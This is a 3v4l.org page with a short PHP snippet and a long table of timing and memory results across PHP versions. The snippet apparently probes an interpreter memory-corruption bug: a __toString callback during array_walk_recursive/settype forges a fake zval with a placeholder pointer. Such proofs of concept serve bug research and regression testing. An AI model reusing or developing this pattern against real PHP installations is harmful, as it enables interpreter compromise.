3v4l.org

run code in 300+ PHP versions simultaneously
<?php function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00018.51
8.3.50.0150.00018.06
8.3.40.0090.01219.04
8.3.30.0140.00718.81
8.3.20.0150.00322.09
8.3.10.0060.00323.66
8.3.00.0060.00319.86
8.2.180.0160.00616.88
8.2.170.0230.00022.96
8.2.160.0150.00620.39
8.2.150.0130.00624.18
8.2.140.0000.00824.66
8.2.130.0090.00019.35
8.2.120.0090.00926.35
8.2.110.0030.00622.31
8.2.100.0040.00818.04
8.2.90.0080.00019.40
8.2.80.0000.00818.03
8.2.70.0040.00417.75
8.2.60.0000.00818.05
8.2.50.0050.00318.07
8.2.40.0080.00022.14
8.2.30.0040.00420.68
8.2.20.0040.00417.92
8.2.10.0040.00418.12
8.2.00.0040.00418.15
8.1.280.0090.00625.92
8.1.270.0090.00920.27
8.1.260.0040.00428.09
8.1.250.0080.00028.09
8.1.240.0130.00323.96
8.1.230.0110.00019.21
8.1.220.0040.00417.77
8.1.210.0000.00918.77
8.1.200.0060.00317.47
8.1.190.0050.00317.25
8.1.180.0040.00418.10
8.1.170.0050.00318.58
8.1.160.0000.00720.76
8.1.150.0040.00418.86
8.1.140.0050.00319.61
8.1.130.0030.00317.70
8.1.120.0050.00317.35
8.1.110.0000.00717.50
8.1.100.0020.00517.50
8.1.90.0070.00017.51
8.1.80.0080.00017.51
8.1.70.0070.00017.27
8.1.60.0040.00417.60
8.1.50.0050.00317.43
8.1.40.0040.00417.57
8.1.30.0030.00617.63
8.1.20.0070.00017.71
8.1.10.0040.00417.55
8.1.00.0000.00817.48
8.0.300.0040.00418.77
8.0.290.0040.00416.75
8.0.280.0000.00718.38
8.0.270.0000.00717.16
8.0.260.0000.00717.25
8.0.250.0030.00316.92
8.0.240.0030.00316.89
8.0.230.0000.00716.95
8.0.220.0040.00416.89
8.0.210.0030.00516.99
8.0.200.0000.00616.95
8.0.190.0060.00317.02
8.0.180.0040.00416.87
8.0.170.0050.00317.04
8.0.160.0000.00717.09
8.0.150.0070.00016.87
8.0.140.0030.00516.88
8.0.130.0030.00313.42
8.0.120.0000.00816.84
8.0.110.0030.00516.84
8.0.100.0040.00416.94
8.0.90.0000.00716.82
8.0.80.0190.00316.94
8.0.70.0040.00416.94
8.0.60.0040.00416.85
8.0.50.0000.00716.86
8.0.30.0080.00917.17
8.0.20.0160.00717.40
8.0.10.0030.00617.02
8.0.00.0090.00917.00
7.4.330.0000.00516.71
7.4.320.0080.00016.65
7.4.300.0030.00316.61
7.4.290.0030.00316.60
7.4.280.0000.00716.48
7.4.270.0000.00716.46
7.4.260.0070.00016.43
7.4.250.0000.00716.62
7.4.240.0060.00116.53
7.4.230.0050.00216.68
7.4.220.0080.01116.50
7.4.210.0030.01016.57
7.4.200.0030.00316.71
7.4.160.0100.00616.67
7.4.150.0140.00317.40
7.4.140.0100.00717.86
7.4.130.0090.01116.51
7.4.120.0070.01316.60
7.4.110.0120.00616.59
7.4.100.0060.01316.42
7.4.90.0110.00616.36
7.4.80.0000.01719.39
7.4.70.0130.00416.64
7.4.60.0100.00616.75
7.4.50.0060.00616.45
7.4.40.0100.00716.45
7.4.30.0200.00316.46
7.4.00.0030.00715.08
7.3.330.0000.00613.23
7.3.320.0050.00013.37
7.3.310.0070.00016.36
7.3.300.0000.00716.31
7.3.290.0050.00916.32
7.3.280.0100.00816.38
7.3.270.0100.00717.40
7.3.260.0080.00816.58
7.3.250.0140.00716.55
7.3.240.0070.01016.41
7.3.230.0040.01416.48
7.3.210.0060.01016.32
7.3.200.0120.00916.33
7.3.190.0070.01116.38
7.3.180.0130.01016.60
7.3.170.0030.01316.49
7.3.160.0120.00316.54
7.3.10.0070.00516.83
7.3.00.0070.00616.68
7.2.330.0150.00316.66
7.2.320.0130.01116.70
7.2.310.0040.01816.64
7.2.300.0070.01016.72
7.2.290.0100.00716.73
7.2.130.0050.01016.89
7.2.120.0070.00816.90
7.2.110.0090.00816.74
7.2.100.0090.00716.97
7.2.90.0030.01216.99
7.2.80.0040.00717.02
7.2.70.0060.01016.86
7.2.60.0100.00416.79
7.2.50.0030.01216.90
7.2.40.0030.00716.91
7.2.30.0060.01117.17
7.2.20.0070.00816.99
7.2.10.0030.00816.95
7.2.00.0030.00917.85
7.1.250.0060.00415.71
7.1.200.0030.01015.85
7.1.100.0040.00417.72
7.1.70.0030.00517.03
7.1.60.0030.01719.52
7.1.50.0120.00916.63
7.1.00.0030.07722.54
7.0.200.0040.00416.76
7.0.60.0100.07720.04
7.0.50.0030.04017.89
7.0.40.0030.04320.09
7.0.30.0330.06320.21
7.0.20.0330.08320.18
7.0.10.0130.03720.10
7.0.00.0070.04720.20
5.6.280.0030.04020.90
5.6.210.0030.04320.68
5.6.200.0130.03318.16
5.6.190.0100.03720.52
5.6.180.0270.06720.69
5.6.170.0270.05320.55
5.6.160.0130.03720.45
5.6.150.0000.05018.23
5.6.140.0070.03718.14
5.6.130.0030.08318.23
5.6.120.0100.04021.13
5.6.110.0070.05020.99
5.6.100.0100.08021.02
5.6.90.0070.09020.99
5.6.80.0130.07020.42
5.5.350.0030.05320.42
5.5.340.0000.04018.09
5.5.330.0000.04720.47
5.5.320.0270.07720.31
5.5.310.0200.06020.38
5.5.300.0130.06017.98
5.5.290.0070.05317.95
5.5.280.0100.07720.89
5.5.270.0100.06720.96
5.5.260.0100.03320.77
5.5.250.0070.04320.63
5.5.240.0200.03320.08

preferences:
53.51 ms | 400 KiB | 5 Q